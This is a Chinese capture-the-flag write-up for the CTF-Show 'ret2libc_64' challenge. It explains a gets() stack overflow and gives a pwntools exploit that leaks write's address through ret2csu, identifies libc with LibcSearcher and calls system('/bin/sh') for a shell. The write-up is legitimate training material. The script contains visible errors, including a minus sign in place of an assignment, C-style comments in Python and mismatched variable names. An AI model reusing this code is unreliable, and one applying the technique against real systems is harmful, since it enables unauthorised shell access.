CTF-Show-ret2libc_64(内部赛签到题)

0x00

checksec:

 

 

68e0372baab0422fb367eaca87265e0f.png

 64位程序,仅开NX

gdb调试:

85eae4eef5644bc6bca99ca9a980208a.png

 

 

有一个输出点和一个输入点

0x01

IDA看一下伪代码

int  main()
{
  char v4[160]; 
  setvbuf(_bss_start, 0LL, 1, 0LL);
  write(1, "[Welcome XCITC-CTF]\nnow,Try Pwn Me?\n", 0x24uLL);
  gets(v4);//溢出点
  return 0;
}

gets函数存在溢出,无后门函数,无libc。

解题思路:

1-通过调用write函数打印出write函数的真实地址,并二次调用程序

2-用第一步得到的write函数地址泄露出libc版本(与libc库中的write函数地址进行对比,可能有多个符合,逐一尝试)

3-用得到的libc版本计算出libc在程序中的基地址(write函数真实地址-write函数在libc中的相对地址=libc基地址)

4-用libc基地址加上system函数和“/bin/sh”字符串在libc中的偏移地址计算出二者在程序中的真实地址。

5-第二次执行程序,利用栈溢出漏洞劫持程序,调用system(“/bin/sh”),拿到shell

0x02

exp:

from pwn import *
from LibcSearcher import *
context.log_level="debug"
binary="./ret2libc_64"
#sh=process(binary)
sh=remote("pwn.challenge.ctf.show",28055)
elf=ELF(binary)
write_got=elf.got['write']
main_addr=elf.symbols['main']
gadgets1 = 0x4006B6
gadgets2 = 0x4006A0
def csu(r12,r13,r14,r15,ret_addr):
    payload = b"A"*(0xA0+0x8)
    payload += p64(gadgets1)
    payload += b"b"*8
    payload += p64(0)
    payload += p64(1)
    payload += p64(r12)    //got
    payload += p64(r15)    //8
    payload += p64(r14)    //plt
    payload += p64(r13)    //1
    payload += p64(gadgets2)
    payload += b"c"*56
    payload += p64(ret_addr)//返回地址-main函数地址
    sh.sendline(payload)
sh.recvuntil("Pwn Me?\n")
csu(write_got,1,write_got,8,main_addr)
write_addr = u64(sh.recv(8))//write函数真实地址
libc-LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')//对应第三步
systemm_addr=libc_base+libc.dump('system')//对应第四步
binsh_addr=libc_base+libc.dump('str_bin_sh')//对应第四步
payload=b"A"*(0xA0+0x8)+p64(0x4006c3)+p64(binsh_addr)+p64(system_addr)
p.sendlineafter("Pwn Me?",payload)
p.interactive()

 

远程运行:

26263bf1aaac4dd6945b394274f87a57.png

 

运行后有几个libc版本的write函数地址都和本题一样,逐个尝试即可(此题程序时64位的直接排除掉32位版本的)

此题考察的比较基础,就是一个利用程序现有函数泄露libc版本配合栈溢出实现getshell的操作,麻烦一点的是64位程序需要调用寄存器,学习一点ret2csu即可

 

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值